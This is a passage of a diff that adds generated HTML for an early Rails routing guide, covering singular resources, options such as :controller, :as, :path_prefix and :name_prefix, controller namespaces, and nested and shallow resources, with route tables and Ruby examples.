+ </td>
+ <td align="left">
+ /geocoder
+ </td>
+ <td align="left">
+ Geocoders
+ </td>
+ <td align="left">
+ destroy
+ </td>
+ <td align="left">
+ delete the geocoder resource
+ </td>
+ </tr>
+</tbody>
+</table>
+</div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/note.png" alt="Note" />
+</td>
+<td class="content">Even though the name of the resource is singular in <tt>routes.rb</tt>, the matching controller is still plural.</td>
+</tr></table>
+</div>
+<div class="para"><p>A singular RESTful route generates an abbreviated set of helpers:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>new_geocoder_url</tt> and <tt>new_geocoder_path</tt> map to the path for the new action
+</p>
+</li>
+<li>
+<p>
+<tt>edit_geocoder_url</tt> and <tt>edit_geocoder_path</tt> map to the path for the edit action
+</p>
+</li>
+<li>
+<p>
+<tt>geocoder_url</tt> and <tt>geocoder_path</tt> map to the path for the create, show, update, and destroy actions
+</p>
+</li>
+</ul></div>
+<h3 id="_customizing_resources">3.6. Customizing Resources</h3>
+<div class="para"><p>Although the conventions of RESTful routing are likely to be sufficient for many applications, there are a number of ways to customize the way that RESTful routes work. These options include:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>:controller</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:singular</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:requirements</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:conditions</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:as</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:path_names</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:path_prefix</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:name_prefix</tt>
+</p>
+</li>
+</ul></div>
+<div class="para"><p>You can also add additional routes via the <tt>:member</tt> and <tt>:collection</tt> options, which are discussed later in this guide.</p></div>
+<h4 id="_using_controller">3.6.1. Using :controller</h4>
+<div class="para"><p>The <tt>:controller</tt> option lets you use a controller name that is different from the public-facing resource name. For example, this routing entry:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=></span> <span style="color: #FF0000">"images"</span>
+</tt></pre></div></div>
+<div class="para"><p>will recognize incoming URLs containing <tt>photo</tt> but route the requests to the Images controller:</p></div>
+<div class="tableblock">
+<table rules="all"
+frame="hsides"
+cellspacing="0" cellpadding="4">
+<col width="125" />
+<col width="182" />
+<col width="137" />
+<col width="102" />
+<col width="502" />
+<thead>
+ <tr>
+ <th align="left">
+ HTTP verb
+ </th>
+ <th align="left">
+ URL
+ </th>
+ <th align="left">
+ controller
+ </th>
+ <th align="left">
+ action
+ </th>
+ <th align="left">
+ used for
+ </th>
+ </tr>
+</thead>
+<tbody valign="top">
+ <tr>
+ <td align="left">
+ GET
+ </td>
+ <td align="left">
+ /photos
+ </td>
+ <td align="left">
+ Images
+ </td>
+ <td align="left">
+ index
+ </td>
+ <td align="left">
+ display a list of all images
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ GET
+ </td>
+ <td align="left">
+ /photos/new
+ </td>
+ <td align="left">
+ Images
+ </td>
+ <td align="left">
+ new
+ </td>
+ <td align="left">
+ return an HTML form for creating a new image
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ POST
+ </td>
+ <td align="left">
+ /photos
+ </td>
+ <td align="left">
+ Images
+ </td>
+ <td align="left">
+ create
+ </td>
+ <td align="left">
+ create a new image
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ GET
+ </td>
+ <td align="left">
+ /photos/1
+ </td>
+ <td align="left">
+ Images
+ </td>
+ <td align="left">
+ show
+ </td>
+ <td align="left">
+ display a specific image
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ GET
+ </td>
+ <td align="left">
+ /photos/1/edit
+ </td>
+ <td align="left">
+ Images
+ </td>
+ <td align="left">
+ edit
+ </td>
+ <td align="left">
+ return an HTML form for editing a image
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ PUT
+ </td>
+ <td align="left">
+ /photos/1
+ </td>
+ <td align="left">
+ Images
+ </td>
+ <td align="left">
+ update
+ </td>
+ <td align="left">
+ update a specific image
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ DELETE
+ </td>
+ <td align="left">
+ /photos/1
+ </td>
+ <td align="left">
+ Images
+ </td>
+ <td align="left">
+ destroy
+ </td>
+ <td align="left">
+ delete a specific image
+ </td>
+ </tr>
+</tbody>
+</table>
+</div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/note.png" alt="Note" />
+</td>
+<td class="content">The helpers will be generated with the name of the resource, not the name of the controller. So in this case, you'd still get <tt>photos_path</tt>, <tt>new_photo_path</tt>, and so on.</td>
+</tr></table>
+</div>
+<h3 id="_controller_namespaces_and_routing">3.7. Controller Namespaces and Routing</h3>
+<div class="para"><p>Rails allows you to group your controllers into namespaces by saving them in folders underneath <tt>app/controllers</tt>. The <tt>:controller</tt> option provides a convenient way to use these routes. For example, you might have a resource whose controller is purely for admin users in the <tt>admin</tt> folder:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>adminphotos<span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=></span> <span style="color: #FF0000">"admin/photos"</span>
+</tt></pre></div></div>
+<div class="para"><p>If you use controller namespaces, you need to be aware of a subtlety in the Rails routing code: it always tries to preserve as much of the namespace from the previous request as possible. For example, if you are on a view generated from the <tt>adminphoto_path</tt> helper, and you follow a link generated with <tt><%= link_to "show", adminphoto(1) %></tt> you will end up on the view generated by <tt>admin/photos/show</tt> but you will also end up in the same place if you have <tt><%= link_to "show", {:controller ⇒ "photos", :action ⇒ "show"} %></tt> because Rails will generate the show URL relative to the current URL.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">If you want to guarantee that a link goes to a top-level controller, use a preceding slash to anchor the controller name: <tt><%= link_to "show", {:controller ⇒ "/photos", :action ⇒ "show"} %></tt></td>
+</tr></table>
+</div>
+<div class="para"><p>You can also specify a controller namespace with the <tt>:namespace</tt> option instead of a path:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>adminphotos<span style="color: #990000">,</span> <span style="color: #990000">:</span>namespace <span style="color: #990000">=></span> <span style="color: #FF0000">"admin"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=></span> <span style="color: #FF0000">"photos"</span>
+</tt></pre></div></div>
+<div class="para"><p>This can be especially useful when combined with <tt>with_options</tt> to map multiple namespaced routes together:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>with_options<span style="color: #990000">(:</span>namespace <span style="color: #990000">=></span> <span style="color: #FF0000">"admin"</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>admin<span style="color: #990000">|</span>
+ admin<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>videos
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>That would give you routing for <tt>admin/photos</tt> and <tt>admin/videos</tt> controllers.</p></div>
+<h4 id="_using_singular">3.7.1. Using :singular</h4>
+<div class="para"><p>If for some reason Rails isn't doing what you want in converting the plural resource name to a singular name in member routes, you can override its judgment with the <tt>:singular</tt> option:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>teeth<span style="color: #990000">,</span> <span style="color: #990000">:</span>singular <span style="color: #990000">=></span> <span style="color: #FF0000">"tooth"</span>
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">Depending on the other code in your application, you may prefer to add additional rules to the <tt>Inflector</tt> class instead.</td>
+</tr></table>
+</div>
+<h4 id="_using_requirements">3.7.2. Using :requirements</h4>
+<div class="para"><p>You an use the <tt>:requirements</tt> option in a RESTful route to impose a format on the implied <tt>:id</tt> parameter in the singular routes. For example:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>requirements <span style="color: #990000">=></span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>id <span style="color: #990000">=></span> <span style="color: #FF6600">/[A-Z][A-Z][0-9]+/</span><span style="color: #FF0000">}</span>
+</tt></pre></div></div>
+<div class="para"><p>This declaration constrains the <tt>:id</tt> parameter to match the supplied regular expression. So, in this case, <tt>/photos/1</tt> would no longer be recognized by this route, but <tt>/photos/RR27</tt> would.</p></div>
+<h4 id="_using_conditions">3.7.3. Using :conditions</h4>
+<div class="para"><p>Conditions in Rails routing are currently used only to set the HTTP verb for individual routes. Although in theory you can set this for RESTful routes, in practice there is no good reason to do so. (You'll learn more about conditions in the discussion of classic routing later in this guide.)</p></div>
+<h4 id="_using_as">3.7.4. Using :as</h4>
+<div class="para"><p>The <tt>:as</tt> option lets you override the normal naming for the actual generated paths. For example:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>as <span style="color: #990000">=></span> <span style="color: #FF0000">"images"</span>
+</tt></pre></div></div>
+<div class="para"><p>will recognize incoming URLs containing <tt>image</tt> but route the requests to the Photos controller:</p></div>
+<div class="tableblock">
+<table rules="all"
+frame="hsides"
+cellspacing="0" cellpadding="4">
+<col width="125" />
+<col width="182" />
+<col width="137" />
+<col width="102" />
+<col width="502" />
+<thead>
+ <tr>
+ <th align="left">
+ HTTP verb
+ </th>
+ <th align="left">
+ URL
+ </th>
+ <th align="left">
+ controller
+ </th>
+ <th align="left">
+ action
+ </th>
+ <th align="left">
+ used for
+ </th>
+ </tr>
+</thead>
+<tbody valign="top">
+ <tr>
+ <td align="left">
+ GET
+ </td>
+ <td align="left">
+ /images
+ </td>
+ <td align="left">
+ Photos
+ </td>
+ <td align="left">
+ index
+ </td>
+ <td align="left">
+ display a list of all photos
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ GET
+ </td>
+ <td align="left">
+ /images/new
+ </td>
+ <td align="left">
+ Photos
+ </td>
+ <td align="left">
+ new
+ </td>
+ <td align="left">
+ return an HTML form for creating a new photo
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ POST
+ </td>
+ <td align="left">
+ /images
+ </td>
+ <td align="left">
+ Photos
+ </td>
+ <td align="left">
+ create
+ </td>
+ <td align="left">
+ create a new photo
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ GET
+ </td>
+ <td align="left">
+ /images/1
+ </td>
+ <td align="left">
+ Photos
+ </td>
+ <td align="left">
+ show
+ </td>
+ <td align="left">
+ display a specific photo
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ GET
+ </td>
+ <td align="left">
+ /images/1/edit
+ </td>
+ <td align="left">
+ Photos
+ </td>
+ <td align="left">
+ edit
+ </td>
+ <td align="left">
+ return an HTML form for editing a photo
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ PUT
+ </td>
+ <td align="left">
+ /images/1
+ </td>
+ <td align="left">
+ Photos
+ </td>
+ <td align="left">
+ update
+ </td>
+ <td align="left">
+ update a specific photo
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ DELETE
+ </td>
+ <td align="left">
+ /images/1
+ </td>
+ <td align="left">
+ Photos
+ </td>
+ <td align="left">
+ destroy
+ </td>
+ <td align="left">
+ delete a specific photo
+ </td>
+ </tr>
+</tbody>
+</table>
+</div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/note.png" alt="Note" />
+</td>
+<td class="content">The helpers will be generated with the name of the resource, not the path name. So in this case, you'd still get <tt>photos_path</tt>, <tt>new_photo_path</tt>, and so on.</td>
+</tr></table>
+</div>
+<h4 id="_using_path_names">3.7.5. Using :path_names</h4>
+<div class="para"><p>The <tt>:path_names</tt> option lets you override the automatically-generated "new" and "edit" segments in URLs:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>path_names <span style="color: #990000">=></span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>new <span style="color: #990000">=></span> <span style="color: #FF0000">'make'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>edit <span style="color: #990000">=></span> <span style="color: #FF0000">'change'</span> <span style="color: #FF0000">}</span>
+</tt></pre></div></div>
+<div class="para"><p>This would cause the routing to recognize URLs such as</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>/photos/make
+/photos/1/change</tt></pre>
+</div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/note.png" alt="Note" />
+</td>
+<td class="content">The actual action names aren't changed by this option; the two URLs show would still route to the new and edit actions.</td>
+</tr></table>
+</div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">If you find yourself wanting to change this option uniformly for all of your routes, you can set a default in your environment:</td>
+</tr></table>
+</div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>config<span style="color: #990000">.</span>action_controller<span style="color: #990000">.</span>resources_path_names <span style="color: #990000">=</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>new <span style="color: #990000">=></span> <span style="color: #FF0000">'make'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>edit <span style="color: #990000">=></span> <span style="color: #FF0000">'change'</span> <span style="color: #FF0000">}</span>
+</tt></pre></div></div>
+<h4 id="_using_path_prefix">3.7.6. Using :path_prefix</h4>
+<div class="para"><p>The <tt>:path_prefix</tt> option lets you add additional parameters that will be prefixed to the recognized paths. For example, suppose each photo in your application belongs to a particular photographer. In that case, you might declare this route:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>path_prefix <span style="color: #990000">=></span> <span style="color: #FF0000">'/photographers/:photographer_id'</span>
+</tt></pre></div></div>
+<div class="para"><p>Routes recognized by this entry would include:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>/photographers/1/photos/2
+/photographers/1/photos</tt></pre>
+</div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/note.png" alt="Note" />
+</td>
+<td class="content">In most cases, it's simpler to recognize URLs of this sort by creating nested resources, as discussed in the next section.</td>
+</tr></table>
+</div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/note.png" alt="Note" />
+</td>
+<td class="content">You can also use <tt>:path_prefix</tt> with non-RESTful routes.</td>
+</tr></table>
+</div>
+<h4 id="_using_name_prefix">3.7.7. Using :name_prefix</h4>
+<div class="para"><p>You can use the :name_prefix option to avoid collisions between routes. This is most useful when you have two resources with the same name that use <tt>:path_prefix</tt> to map differently. For example:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>path_prefix <span style="color: #990000">=></span> <span style="color: #FF0000">'/photographers/:photographer_id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>name_prefix <span style="color: #990000">=></span> <span style="color: #FF0000">'photographer_'</span>
+map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>path_prefix <span style="color: #990000">=></span> <span style="color: #FF0000">'/agencies/:agency_id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>name_prefix <span style="color: #990000">=></span> <span style="color: #FF0000">'agency_'</span>
+</tt></pre></div></div>
+<div class="para"><p>This combination will give you route helpers such as <tt>photographer_photos_path</tt> and <tt>agency_edit_photo_path</tt> to use in your code.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/note.png" alt="Note" />
+</td>
+<td class="content">You can also use <tt>:name_prefix</tt> with non-RESTful routes.</td>
+</tr></table>
+</div>
+<h3 id="_nested_resources">3.8. Nested Resources</h3>
+<div class="para"><p>It's common to have resources that are logically children of other resources. For example, suppose your application includes these models:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Magazine <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_many <span style="color: #990000">:</span>ads
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Ad <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ belongs_to <span style="color: #990000">:</span>magazine
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Each ad is logically subservient to one magazine. Nested routes allow you to capture this relationship in your routing. In this case, you might include this route declaration:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>magazines <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>magazine<span style="color: #990000">|</span>
+ magazine<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>ads
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>In addition to the routes for magazines, this declaration will also create routes for ads, each of which requires the specification of a magazine in the URL:</p></div>
+<div class="tableblock">
+<table rules="all"
+frame="hsides"
+cellspacing="0" cellpadding="4">
+<col width="125" />
+<col width="274" />
+<col width="137" />
+<col width="102" />
+<col width="502" />
+<thead>
+ <tr>
+ <th align="left">
+ HTTP verb
+ </th>
+ <th align="left">
+ URL
+ </th>
+ <th align="left">
+ controller
+ </th>
+ <th align="left">
+ action
+ </th>
+ <th align="left">
+ used for
+ </th>
+ </tr>
+</thead>
+<tbody valign="top">
+ <tr>
+ <td align="left">
+ GET
+ </td>
+ <td align="left">
+ /magazines/1/ads
+ </td>
+ <td align="left">
+ Ads
+ </td>
+ <td align="left">
+ index
+ </td>
+ <td align="left">
+ display a list of all ads for a specific magazine
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ GET
+ </td>
+ <td align="left">
+ /magazines/1/ads/new
+ </td>
+ <td align="left">
+ Ads
+ </td>
+ <td align="left">
+ new
+ </td>
+ <td align="left">
+ return an HTML form for creating a new ad belonging to a specific magazine
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ POST
+ </td>
+ <td align="left">
+ /magazines/1/ads
+ </td>
+ <td align="left">
+ Ads
+ </td>
+ <td align="left">
+ create
+ </td>
+ <td align="left">
+ create a new ad belonging to a specific magazine
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ GET
+ </td>
+ <td align="left">
+ /magazines/1/ads/1
+ </td>
+ <td align="left">
+ Ads
+ </td>
+ <td align="left">
+ show
+ </td>
+ <td align="left">
+ display a specific ad belonging to a specific magazine
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ GET
+ </td>
+ <td align="left">
+ /magazines/1/ads/1/edit
+ </td>
+ <td align="left">
+ Ads
+ </td>
+ <td align="left">
+ edit
+ </td>
+ <td align="left">
+ return an HTML form for editing an ad belonging to a specific magazine
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ PUT
+ </td>
+ <td align="left">
+ /magazines/1/ads/1
+ </td>
+ <td align="left">
+ Ads
+ </td>
+ <td align="left">
+ update
+ </td>
+ <td align="left">
+ update a specific ad belonging to a specific magazine
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ DELETE
+ </td>
+ <td align="left">
+ /magazines/1/ads/1
+ </td>
+ <td align="left">
+ Ads
+ </td>
+ <td align="left">
+ destroy
+ </td>
+ <td align="left">
+ delete a specific ad belonging to a specific magazine
+ </td>
+ </tr>
+</tbody>
+</table>
+</div>
+<div class="para"><p>This will also create routing helpers such as <tt>magazine_ads_url</tt> and <tt>edit_magazine_ad_path</tt>.</p></div>
+<h4 id="_using_name_prefix_2">3.8.1. Using :name_prefix</h4>
+<div class="para"><p>The <tt>:name_prefix</tt> option overrides the automatically-generated prefix in nested route helpers. For example,</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>magazines <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>magazine<span style="color: #990000">|</span>
+ magazine<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>ads<span style="color: #990000">,</span> <span style="color: #990000">:</span>name_prefix <span style="color: #990000">=></span> <span style="color: #FF0000">'periodical'</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This will create routing helpers such as <tt>periodical_ads_url</tt> and <tt>periodical_edit_ad_path</tt>. You can even use <tt>:name_prefix</tt> to suppress the prefix entirely:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>magazines <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>magazine<span style="color: #990000">|</span>
+ magazine<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>ads<span style="color: #990000">,</span> <span style="color: #990000">:</span>name_prefix <span style="color: #990000">=></span> <span style="font-weight: bold"><span style="color: #0000FF">nil</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This will create routing helpers such as <tt>ads_url</tt> and <tt>edit_ad_path</tt>. Note that calling these will still require supplying an article id:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>ads_url<span style="color: #990000">(</span><span style="color: #009900">@magazine</span><span style="color: #990000">)</span>
+edit_ad_path<span style="color: #990000">(</span><span style="color: #009900">@magazine</span><span style="color: #990000">,</span> <span style="color: #009900">@ad</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<h4 id="_using_has_one_and_has_many">3.8.2. Using :has_one and :has_many</h4>
+<div class="para"><p>The <tt>:has_one</tt> and <tt>:has_many</tt> options provide a succinct notation for simple nested routes. Use <tt>:has_one</tt> to nest a singleton resource, or <tt>:has_many</tt> to nest a plural resource:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>has_one <span style="color: #990000">=></span> <span style="color: #990000">:</span>photographer<span style="color: #990000">,</span> <span style="color: #990000">:</span>has_many <span style="color: #990000">=></span> <span style="color: #990000">[:</span>publications<span style="color: #990000">,</span> <span style="color: #990000">:</span>versions<span style="color: #990000">]</span>
+</tt></pre></div></div>
+<div class="para"><p>This has the same effect as this set of declarations:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>photo<span style="color: #990000">|</span>
+ photo<span style="color: #990000">.</span>resource <span style="color: #990000">:</span>photographer
+ photo<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>publications
+ photo<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>versions
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h4 id="_limits_to_nesting">3.8.3. Limits to Nesting</h4>
+<div class="para"><p>You can nest resources within other nested resources if you like. For example:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>publishers <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>publisher<span style="color: #990000">|</span>
+ publisher<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>magazines <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>magazine<span style="color: #990000">|</span>
+ magazine<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>However, without the use of <tt>name_prefix ⇒ nil</tt>, deeply-nested resources quickly become cumbersome. In this case, for example, the application would recognize URLs such as</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>/publishers/1/magazines/2/photos/3</tt></pre>
+</div></div>
+<div class="para"><p>The corresponding route helper would be <tt>publisher_magazine_photo_url</tt>, requiring you to specify objects at all three levels. Indeed, this situation is confusing enough that a popular <a href="http://weblog.jamisbuck.org/2007/2/5/nesting-resources">article</a> by Jamis Buck proposes a rule of thumb for good Rails design:</p></div>
+<div class="para"><p><em>Resources should never be nested more than 1 level deep.</em></p></div>
+<h4 id="_shallow_nesting">3.8.4. Shallow Nesting</h4>
+<div class="para"><p>The <tt>:shallow</tt> option provides an elegant solution to the difficulties of deeply-nested routes. If you specify this option at any level of routing, then paths for nested resources which reference a specific member (that is, those with an <tt>:id</tt> parameter) will not use the parent path prefix or name prefix. To see what this means, consider this set of routes:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>publishers<span style="color: #990000">,</span> <span style="color: #990000">:</span>shallow <span style="color: #990000">=></span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>publisher<span style="color: #990000">|</span>
+ publisher<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>magazines <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>magazine<span style="color: #990000">|</span>
+ magazine<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
